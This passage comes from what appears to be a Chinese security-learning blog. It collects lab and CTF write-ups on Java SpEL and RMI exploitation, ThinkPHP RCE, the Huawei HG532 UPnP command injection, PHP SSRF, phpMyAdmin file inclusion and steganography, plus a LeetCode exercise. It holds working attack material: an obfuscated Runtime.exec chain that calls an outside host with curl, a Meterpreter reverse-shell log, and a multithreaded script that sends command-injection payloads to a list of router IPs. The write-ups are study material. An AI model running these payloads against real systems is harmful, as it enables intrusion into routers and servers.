             throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
         }
     }

     ParserContext parserContext = new TemplateParserContext();
     Expression exp = parser.parseExpression(val, parserContext);
     SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
     return exp.getValue(evaluationContext).toString();
 }

可以看到有一个黑名单，之后的几行代码是解析一个表达式并执行的

构造利用链:

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl 39.106.125.244:8888"

就用它的那个类进行加密：

得到payload

VEdGePvYTXhp0TFlUTtEl9RimJGOGpGZmgTM181ZSAKn4ScdI0Z7KYgJhlMaf9ccTQkfOt9mgarInh090nWzls6IIWfW48Zkp8HC-rIyg6JtO-AMtI9O1NJYoSTFhcKdJqkg7VdFU-VG3b6vZrkJtwrj_i6Lv2-MBChAj5zXjZb7KGe6wnDO9NuYCGxQPgeADgBBME92fOaL3pOQp4Bte6O3gv0O3m6y09PwZ3jc-PMHalwzRzgR-M1svkqJushiOMCAj1i9rDZK3uOk1_CdFzQKq1to-MOwohuebk7d9NZRM_jWyG2fyJrqxJ6JPlquC7whDaz8Bz8gxXc2QYn2rrjhRZ0w5sn1IaRmg2DoPiel0OUd9LKMhxWDoLHZHu7X

利用效果：

VPS监听到了请求

RMI

一个探测的工具

用nmap扫描可以发现这次的主角Java RMI Registry

接下来可以使用nmap的脚本进行验证

$ nmap --script=rmi-vuln-classloader -p 1099 192.168.182.134
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-05 06:41 EDT
Nmap scan report for 192.168.182.134
Host is up (0.00041s latency).

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-vuln-classloader: 
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|       
|     References:
|_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
MAC Address: 00:0C:29:D9:A2:EA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

主机是有漏洞的

msf上搜索java_rmi的模块

msf5 > search java_rmi

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                               normal     No     Java RMI Registry Interfaces Enumeration
   1  auxiliary/scanner/misc/java_rmi_server          2011-10-15       normal     Yes    Java RMI Server Insecure Endpoint Code Execution Scanner
   2  exploit/multi/browser/java_rmi_connection_impl  2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
   3  exploit/multi/misc/java_rmi_server              2011-10-15       excellent  No     Java RMI Server Insecure Default Configuration Java Code Execution

检测到

msf5 auxiliary(scanner/misc/java_rmi_server) > exploit 

[+] 192.168.182.134:1099  - 192.168.182.134:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] 192.168.182.134:1099  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Class Loader Enabled

使用java_rmi_server进行攻击，但是并没有成功

msf5 exploit(multi/misc/java_rmi_server) > exploit 

[*] Started reverse TCP handler on 192.168.182.133:4444 
[*] 192.168.182.134:1099 - Using URL: http://0.0.0.0:8080/3KFzyXCBVe
[*] 192.168.182.134:1099 - Local IP: http://192.168.182.133:8080/3KFzyXCBVe
[*] 192.168.182.134:1099 - Server started.
[*] 192.168.182.134:1099 - Sending RMI Header...
[*] 192.168.182.134:1099 - Sending RMI Call...
[*] 192.168.182.134:1099 - Replied to request for payload JAR
[*] Sending stage (53845 bytes) to 192.168.182.134
[*] Meterpreter session 3 opened (192.168.182.133:4444 -> 192.168.182.134:35718) at 2019-10-05 06:47:47 -0400
[-] 192.168.182.134:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] 192.168.182.134:1099 - Server stopped.
[*] Exploit completed, but no session was created.

参考

Java RMI漏洞利用

ctf入门第一课

Thu, 26 Sep 2019 00:00:00 GMT

ctf入坑

ctfwiki是一个很好的入门资源

适合新手的CTF靶场合集

最经典的靶场bugkuctf

如何学习

学会做笔记——使用markdown快速整理你的思路

论博客的重要性——Github pages or Wordpress or 各大博客平台(简书，csdn，博客园，掘金等等)

学会分享——分享自己所学到的知识

学会使用python

如何提问

提问的艺术

Web安全

Web安全主要包含——SQL注入，XSS跨站，SSRF，各种web框架的审计等

SQL注入

sqlmap

SQL教程

前端与后台是如何交互的

输入1返回的值

后台的代码：

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];
	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
?>

重点关注：

"SELECT first_name, last_name FROM users WHERE user_id = '$id';"

where语句的用法

详情参考DVWA学习

栗子sql注入实践

墨者的一道题目

看到新闻页面

直接上sqlmap

爆表

指定数据库爆表

指定表爆字段

将表全部dump出来

突然出问题了。。

XSS跨站

参考ctfwiki

具体细节之后说

thinkphp-rce分析

Tue, 24 Sep 2019 00:00:00 GMT

太惭愧了，今年一月份大火的thinkphp漏洞根本没关注，现在回过头来仔细分析下

开启debug模式

先放截图：

然后开始一步步来搞

php-storm如何调试就不细说了

thinkphp从这里开始启动，有机会一定要分析下thinkphp是如何运行的

这里F8一下先进入了一个autoload函数，具体作用不是很清楚

进入run函数之后，会先实例化一个$request
之后进行一些模块绑定的操作，之后进入self::routerCheck函数，进行URL路由检测

而self::routerCheck函数又会调用Route::check函数

Route::check函数中：

$url = str_replace($depr, '|', $url);

if (strpos($url, '|') && isset(self::$rules['alias'][strstr($url, '|', true)])) {
    // 检测路由别名
    $result = self::checkRouteAlias($request, $url, $depr);
    if (false !== $result) {
        return $result;
    }
}
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = self::$rules[$method];
// 检测域名部署
if ($checkDomain) {
    self::checkDomain($request, $rules, $method);
}

这里最关键的就是$method = strtolower($request->method());

转过头来分析这个函数

   /**
     * 当前的请求类型
     * @access public
     * @param bool $method  true 获取原始请求类型
     * @return string
     */   
public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
            }
        }
        return $this->method;
    }

此时我们看到调用了__construct方法

/**
 * 架构函数
 * @access protected
 * @param array $options 参数
 */
protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }
    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

华为路由器 H532G 漏洞分析

Fri, 20 Sep 2019 00:00:00 GMT

漏洞分析

这次出问题的点是upnp程序

home/oit/Downloads/_router HG532e.rar-0.extracted/_HG532eV100R001C01B020_upgrade_packet.bin.extracted/squashfs-root/bin [oit@ubuntu] [18:36]
> file upnp 
upnp: ELF 32-bit MSB  executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size

是MIPS32位大端格式

UPnP 是由“通用即插即用论坛”（UPnP™ Forum）推广的一套网络协议。该协议的目标是使家庭网络（数据共享、通信和娱乐）和公司网络中的各种设备能够相互无缝连接，并简化相关网络的实现。

丢到IDA中分析

LOAD:004074FC                 la      $a1, aNewstatusurl  # "NewStatusURL"
LOAD:00407500                 move    $a2, $zero
LOAD:00407504                 jalr    $t9 ; ATP_XML_GetChildNodeByName
LOAD:00407508                 addiu   $a3, $sp, 0x24
LOAD:0040750C                 lw      $gp, 0x18($sp)
LOAD:00407510                 bnez    $v0, loc_407564
LOAD:00407514                 move    $s1, $v0
LOAD:00407518                 lw      $v0, 0x24($sp)
LOAD:0040751C                 nop
LOAD:00407520                 beqz    $v0, loc_407564
LOAD:00407524                 addiu   $s0, $sp, 0x28
LOAD:00407528                 la      $t9, snprintf
LOAD:0040752C                 lw      $a3, 0x20($sp)
LOAD:00407530                 la      $a2, aUpgGUST1Firmwa  # "upg -g -U %s -t '1 Firmware Upgrade Ima"...
LOAD:00407538                 move    $a0, $s0
LOAD:0040753C                 li      $a1, 0x400
LOAD:00407540                 jalr    $t9 ; snprintf
LOAD:00407544                 sw      $v0, 0x10($sp)
LOAD:00407548                 lw      $gp, 0x18($sp)
LOAD:0040754C                 nop
OAD:00407520                 beqz    $v0, loc_407564
LOAD:00407524                 addiu   $s0, $sp, 0x28
LOAD:00407528                 la      $t9, snprintf
LOAD:0040752C                 lw      $a3, 0x20($sp)
LOAD:00407530                 la      $a2, aUpgGUST1Firmwa  # "upg -g -U %s -t '1 Firmware Upgrade Ima"...
LOAD:00407538                 move    $a0, $s0
LOAD:0040753C                 li      $a1, 0x400
LOAD:00407540                 jalr    $t9 ; snprintf
LOAD:00407544                 sw      $v0, 0x10($sp)
LOAD:00407548                 lw      $gp, 0x18($sp)
LOAD:0040754C                 nop
LOAD:00407550                 la      $t9, system #执行system

分析upnp描述信息后发现该设备支持名为DeviceUpgrade的一种服务类型设备可以通过这种服务更新固件具体过程是向“/ctrlt/DeviceUpgrade_1”这个地址提交请求请求中包含NewStatusURL及NewDownloadURL两个元素。
远程管理员可以通过该漏洞在设备上执行任意命令将shell元字符注入NewStatusURL以及NewDownloadURL元素中

先调用了一个xml相关的函数，获取参数的值，很明显的看到了参数拼接的行为，之后调用了system函数

snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)

system($s0)

不过还有一个认证机制需要 Authorization 头才能过掉 check, 否则会 401

实际测试

路由器下载地址

尝试直接运行脚本失败了

root@ml-vm:/home/oit/tools/fat# ./sources/extractor/extractor.py -b iot -sql 127.0.0.1 -np -nk "./HG532e.rar" images
-----------------Extractor Start----------------
input:./HG532e.rar
output:images
rootfs:True
kernel:False
parallel:False
sql:127.0.0.1
brand:iot
-----------------Extractor End------------------
>> Database Image ID: 146

/home/oit/tools/fat/HG532e.rar
>> MD5: 9986b8aee8e1eb511a8bbb3a39b485e4
>> Tag: 146
>> Temp: /tmp/tmpLXreHs
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True
>>>> RAR archive data, first volume type: MAIN_HEAD
>> Recursing into archive ...
Traceback (most recent call last):
  File "./sources/extractor/extractor.py", line 425, in extract
  File "./sources/extractor/extractor.py", line 472, in _check_archive
  File "./sources/extractor/extractor.py", line 693, in _check_recursive
  File "./sources/extractor/extractor.py", line 381, in extract
UnicodeDecodeError: 'ascii' codec can't decode byte 0xd8 in position 37: ordinal not in range(128)
>> Cleaning up /tmp/tmpLXreHs...

打算用qemu运行一个虚拟机来搞

root@ml-vm:/mnt/hgfs/IOTEXP/_router HG532e.rar.extracted/_HG532eV100R001C01B020_upgrade_packet.bin.extracted# sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=br0,script=no,downscript=no
[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.32-5-4kc-malta (Debian 2.6.32-48squeeze4) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 Tue Sep 24 00:02:22 UTC 2013
[    0.000000] 
[    0.000000] LINUX started...
[    0.000000] bootconsole [early0] enabled
[    0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[    0.000000] FPU revision is: 00739300
[    0.000000] Determined physical RAM map:
[    0.000000]  memory: 00001000 @ 00000000 (reserved)
...
[    0.000000] SLUB: Genslabs=7, HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:256
[    0.000000] CPU frequency 200.00 MHz
[    0.000000] Console: colour dummy device 80x25
[    0.000000] console [tty0] enabled, bootconsole disabled

但是一直没有打开shell

ebian mips qemu镜像

换了一个磁盘和内核，成功地开启了虚拟机但是网络配置没有成功

未完待续。。

修改了一下/etc/network/interfaces成功了

scp -r ./squashfs-root  root@192.168.104.187:/root

文件拷贝进去

进入虚拟机之后开启服务

exp


from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
class exploit(threading.Thread):
        def __init__ (self, ip):
            threading.Thread.__init__(self)
            self.ip = str(ip).rstrip('\n')
        def run(self):
            try:
                url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
                requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
                print "[SOAP] Attempting to infect " + self.ip
            except Exception as e:
                pass
for ip in ips:
    try:
        n = exploit(ip)
        n.start()
        time.sleep(0.03)
    except:
        pass

确实成功了

但是没有虚拟机上没有这个命令emmm

参考

Huawei HG532 系列路由器远程命令执行漏洞分析

CVE-2017-17215路由器漏洞分析

PHP SSRF Techniques

Wed, 21 Aug 2019 00:00:00 GMT

写前面

这篇文章讲的实在是太棒了 https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

php版本：

测试代码：

<?php
   echo "Argument: ".$argv[1]."\n";
   // check if argument is a valid URL
   if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
      // parse URL
      $r = parse_url($argv[1]);
      print_r($r);
      // check if host ends with google.com
      if(preg_match('/google\.com$/', $r['host'])) {
         // get page from URL
         exec('curl -v -s "'.$r['host'].'"', $a);
         print_r($a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }
?>

首先调用了filter_var进行URL的验证，然后再用parse_url去解析URL，php7的版本中这个函数是没有问题的

同时通过preg_match函数限定只能以google.com结尾

如果达到ssrf呢？

正常情况下

攻击者：

此时$r[‘host’]显然不是以google.com结尾的

绕过URL验证和正则表达式

许多URL schema保留某些特殊含义的字符：它们在URL的特定于方案的部分中的外观具有指定的语义。如果在方案中保留对应于八位字节的字符，则必须对八位字节进行编码。字符“;”，“/”，“？”，“：”，“@”，“=”和“＆”可以保留用于方案内的特殊含义。在方案中不能保留其他字符。

通常会用一些保留字符，比如;和=，,分割参数和参数值

一个可能是用name;v=1.1来表示name=version 1.1,然而也可以用name,1.1达到相同的效果，这根据算法来区分

curl或者wget会认为evil.com;google.com中hostname为evil.com,querystring为google.com

但是并没有绕过filter_var函数
filter_var()函数可以解析很多不同的URL scheme

如果改成这样：

此时已经成功地绕过了URL验证和正则表达式

但是curl命令却没有执行，于是考虑加上端口号

再次修改：

php test.php "111://evil.com:80;google.com:80/"

同样用逗号也行

parse_url只会尽可能地分割URL，而不是验证它，作者还提到了一种更好的方式：

0://evil$google.com

注意这里必须用单引号括起来。。

实现XSS

作者之后修改了代码：

<?php
   echo "Argument: ".$argv[1]."\n";
   // check if argument is a valid URL
   if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
      // parse URL
      $r = parse_url($argv[1]);
      print_r($r);
      // check if host ends with google.com
      if(preg_match('/google\.com$/', $r['host'])) {
         // get page from URL
         $a = file_get_contents($argv[1]);
         echo($a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }
?>

作者想要注入一点东西,但是并没有成功

继续尝试：

data://google.com/plain;base64,SSBsb3ZlIFBIUAo=

那么XSS就很容易了

参考

PHP SSRF Techniques

Some trick in ssrf and unserialize()/)

suctf2019

Tue, 20 Aug 2019 00:00:00 GMT

easy_sql

应该是非预期解，输入abs(1)就有flag

不过也可以这样

后期在线维护的时候泄露了源码

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

看源码不太明白这个题目的用意，后来参考师傅们的wp时提到了||拼接

mysql 修改sql_mode 实现字符串管道‘||’连接

一种思路是直接使用*,1去拿到flag，另一种方式就是设置sql_mode来实现字符串的拼接

python nginx

首页有源码

        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

这个题目似乎有一个姿势

urlparse函数

zz :: ~ » python
Python 3.5.4 (v3.5.4:3f56838, Aug  8 2017, 02:17:05) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> r = "https://prontosil.club"
>>> urlparse_result = urlparse(r)
>>> urlparse_result
ParseResult(scheme='https', netloc='prontosil.club', path='', params='', query='', fragment='')
>>> urlparse_result.hostname
'prontosil.club'
>>>

checkin

自己在nginx环境下进行了测试，成功地用了.user.ini复现了这个(开始的时候总是失败也是很迷了，似乎不能在index.php下进行测试)

上传一个.user.ini

然后上传一个马

然后直接访问就行了

orz服了

参考

SUCTF 2019 web partial wp

threeSumClosest

Tue, 20 Aug 2019 00:00:00 GMT

好久没写leetcode了，最近决定用php来写一些

threesumcloset这题要求在一个数组中找到离target最近的三个数的和

这里用到了一下双指针的思路，就是确定两个指针，一个往高走，一个往低走

<?php

class threeSumClosest
{
    /**
     * @param Integer[] $nums
     * @param Integer $target
     * @return Integer
     */
    function threeSumClosest($nums, $target)
    {
       //先排序，php数组排序的函数
        sort($nums);
        //计算长度
        $len = count($nums);
        /*
         * 基本思路：通过i遍历数组，再设置两个指针
         */
        $minidistance = PHP_INT_MAX; //保存最小的距离
        $low = 1;
        $high = $len-1;
        for($i = 0; $i < $len-2; $i++){
            //要去重
            if ($i > 0 && $nums[$i] == $nums[$i-1]){
                continue;
            }
            //得到两个指针

            $sum = $nums[$low]+$nums[$high]+$nums[$i];
            $distance = $target-$sum;
            if($distance == 0){
                return $distance;
            }
            if($distance !== 0&& abs($distance) < abs($minidistance)){
                $minidistance = $sum;
            }
            //然后开始移动指针
            if($distance < 0){
                //小于0是不是可以把low调大一点，注意去重
                if($low < $high && $nums[$low] != $nums[$low-1]){
                    $low =  $low + 1;
                }
            }
            elseif ($distance > 0){
                if($low < $high && $nums[$high] != $nums[$high+1]){
                    $high = $high - 1;
                }
            }

        }
        return $minidistance;

    }
}

$a = new threeSumClosest();

$nums = [-1,2,-1,4];
$target = 1;

echo $a->threeSumClosest($nums, $target);

新手php代码写的还很烂，提交之后没有过

遇到了几个地方记录一下

php的注释形式，需要写清楚参数的类型和返回值
php中最大的整数是PHP_INT_MAX
if ($i > 0 && $nums[$i] == $nums[$i-1]){由于没有加上$i>0，php可以倒过来取数字而不报错的

[0,0,0]
1

这个测试过不了

去重的方式了解一下
php数组排序这里用sort就好，之前用asort的时候索引没有变。这种排序也是很强了

最后的这个报错很玄学了

更新一下

<?php

class threeSumClosest
{
    /**
     * @param Integer[] $nums
     * @param Integer $target
     * @return Integer
     */
    function threeSumClosest1($nums, $target)
    {
       //先排序，php数组排序的函数
        sort($nums);
        //计算长度
        $len = count($nums);
        /*
         * 基本思路：通过i遍历数组，再设置两个指针
         */
        $minidistance = PHP_INT_MAX; //保存最小的距离
        $low = 1;
        $high = $len-1;
        for($i = 0; $i < $len-2; $i++){
            //要去重
            //得到两个指针
            $low = $i+1;
            $high = $len-1;

            while($low < $high){
              $sum = $nums[$i]+$nums[$low]+$nums[$high];
              $distance = $target-$sum;
              if($distance === 0){return  $distance;}
              if(abs($distance) < abs($minidistance)){$minidistance = $distance;}
              if($distance > 0){$low=$low+1;}
              if($distance < 0){$high=$high-1;}
            }

        }
        return $target - $minidistance;

    }
}

$a = new threeSumClosest();

$nums = [-1,0,1,1,55];
$target = 3;

echo $a->threeSumClosest1($nums, $target);

success

参考

学习apache

Tue, 20 Aug 2019 00:00:00 GMT

一直以来习惯了在Windows下通过wampserver和phpstudy来进行php,apache,mysql的组合，现在有必要自己从头开始进行一些学习了

apache配置学习

.htaccess文件

先看一段防盗链的代码：

RewriteBase /

RewriteCond %{HTTP_REFERER} !^$

RewriteCond %{HTTP_REFERER} !^http://(www.)?aqee.net/.*$ [NC]

RewriteRule .(gif|jpg|swf|flv|png)$ /feed/ [R=302,L]

肯定是一脸茫然

那就好好学习一下.htaccess文件

服务器状态码

在服务器回应客户端时会回应相应的状态码，不同的状态码具有不同的含义

1xx：信息类

2xx：成功类

3xx：重定向类

4xx：客户端错误类

5xx：服务端错误类

（比如我用flask写一个小型的应用时，遇到了500的错误其实是代码出错了:cry:

参考

由浅入深学习apache

MISC中的隐写

Mon, 19 Aug 2019 00:00:00 GMT

bugkuctf——猫片

一张猫的图片，题目有三个提示LSB BGR NTFS

于是用StegSolver去提取数据

看到了PNG的文件头

保存下来在Winhex中打开

修复好图片，然后用微信扫描，（虽然这张图片是颜色反转的，但是新版的微信也能扫出来）

得到一个rar压缩文件，用winrar解压报错，于是机智的我用7z解压，然而。。。

只好去找师傅们的wp，说是NTFS隐写，给了个工具

这时候就有点坑爹了，用7z解压缩的找不到，必须得用winrar解压缩的才行

得到pyc文件之后需要去这个网站反编译成python代码

得到python代码：



def encode():
    flag = '*************'
    ciphertext = []
    for i in range(len(flag)):
        s = chr(i ^ ord(flag[i]))
        if i % 2 == 0:
            s = ord(s) + 10
        else:
            s = ord(s) - 10
        ciphertext.append(str(s))
    
    return ciphertext[::-1]

ciphertext = [
    '96',
    '65',
    '93',
    '123',
    '91',
    '97',
    '22',
    '93',
    '70',
    '102',
    '94',
    '132',
    '46',
    '112',
    '64',
    '97',
    '88',
    '80',
    '82',
    '137',
    '90',
    '109',
    '99',
    '112']

我的解密脚本

# 解码
def decode():
    res = []
    ciphertextTemp = ciphertext[::-1]
    for i in range(len(ciphertext)):
        s = ciphertextTemp[i]
        if i % 2 == 0:
            s = chr(int(s)-10)
        else:
            s = chr(int(s)+10)
        res.append(chr(int(str(ord(s)^i))))
    return ''.join(x for x in res)

print(decode())

whuctf—taxi.png

这个题目当时使用matlab提取出来的，不过后来才知道用stegsolver也行

只需要打开之后浏览不同的通道即可

解密网站
此时我们简要分析一下StegSolver是如何提取数据的

给出代码：

from PIL import Image

im = Image.open("LSB.bmp")

pix = im.load()

width, height = im.size

extract_bits = []

for y in range(height):
    for x in range(width):
        # 每次取出一个像素点
        r,g,b = pix[(x, y)]
        extract_bits.append(r & 1)
        extract_bits.append(g & 1)
        extract_bits.append(b & 1)

# 然后每8位一组

extract_byte_bits = [extract_bits[i:i+8] for i in range(0, len(extract_bits), 8)]

with open("extracted2.bmp", "wb") as f:
    for per_byte in extract_byte_bits: 
        byte_str = ''.join(str(x) for x in per_byte)  # 将list中的元素拼接起来
        byteStr = chr(int(byte_str, 2))
        f.write(bytes(byteStr, encoding='utf-8'))

这个是参考先知某位师傅后修改的，适用于python3

可以帮助理解如何提取，从代码中可以看出，此处是先确定某一处高度，然后依次将宽度上的像素点提取出来，也就是StegSolver中的Extracted by Row,并且此处是按照该rgb的顺序来的

大概思考了一下如果要把信息隐藏到图片中，这样应该可以:

from PIL import Image

im = Image.open("LSB.bmp")

pix = im.load()

width,height = im.size

flag = "flag{Ilovyou}"

# 取出flag中的每一位，编码成2进制的8位，3位3位的选出来
# 依次与r,g,b去与
# 

insert_bits = []

for i in range(len(flag)):
	byte = bin(ord(flag[i]))[2:].zfill(8)
	insert_bits.append(byte[x] for x in range(len(byte)))

# 化成3位一组
# 
insert_bits_per_3 = [insert_bits[i:i+3] for i in range(0, len(insert_bits), 3)]

for y in range(height):
	for x in range(width):
		r,g,b = pix[(x,y)]

        ...

但是我不知道怎么把数据写回图片。。。未完待续好了

实验吧一道题

这样一张bmp格式的图片

解法就是通过Windows的画图工具另存为png格式的，然后用StrgSolver浏览就行

问鼎杯保密技能大赛

得到这样一张图片，
![]https://raw.githubusercontent.com/xinyongpeng/gitpic/master/misc4.png

首先需要修复png格式，其次需要修改宽度，但是需要考虑到crc32校验码





misc = open("misc4.png","rb").read()

# i = 0
# a = struct.pack('>i', i)

for i in range(1024):
	data = misc[12:16] + struct.pack('>i',i)+ misc[20:29]
	crc32 = binascii.crc32(data) & 0xffffffff
	if crc32 == 0x932f8a6b:
		print(i)

第一个数据块总共就是13位长，struct.pack('>i',i)依次尝试每一个宽度

不过为啥要与0xffffffff进行与运算就很神奇

参考PNG

参考

Lsb图片隐写

github上一个LSB项目

phpmyadmin远程文件包含漏洞

Mon, 19 Aug 2019 00:00:00 GMT

phpmyadmin 这个漏洞可以说是由于太过细心而导致的，这也证实了安全永远在路上

这个本地文件包含的漏洞确实挺巧妙地，分析一下：

漏洞利用分析

在GitHub上找了一下phpmyadmin的源码，不过话说我还不知带phpmyadmin怎么安装，之后研究一下

index.php

看到这串代码if判断很多，主要是最后一个判断

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

注意preg_match('/^index/', $_REQUEST['target'])是判断是不是以index开头，如果是就返回true，但是由于!所以就不能以index开头，类似这种判断不要被绕晕了

Core::checkPageValidity检查，问题就出在这，方法定义在443行

黑名单如下

$target_blacklist = array (
    'import.php', 'export.php'
);

方法具体如下：

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }
    if (in_array($page, $whitelist)) {
        return true;
    }
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    return false;
}

如果我们两个词URL编码。即%253f 浏览器传送之后变成%3f此时前两次if都不会进去，最后一次先urldecode，那么就变成了? 这时候是可以绕过的。

之所以要两次编码，直接用一个”?”不也可以绕过吗。

会导致这样的问题不能包含成功，具体为什么我也不是很清楚

hctf2018

这篇文章已经讲的很详细了，这里写一下hctf2018的一道热身题，当时都还没仔细想过是一个已经存在的CVE

题目源码：

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
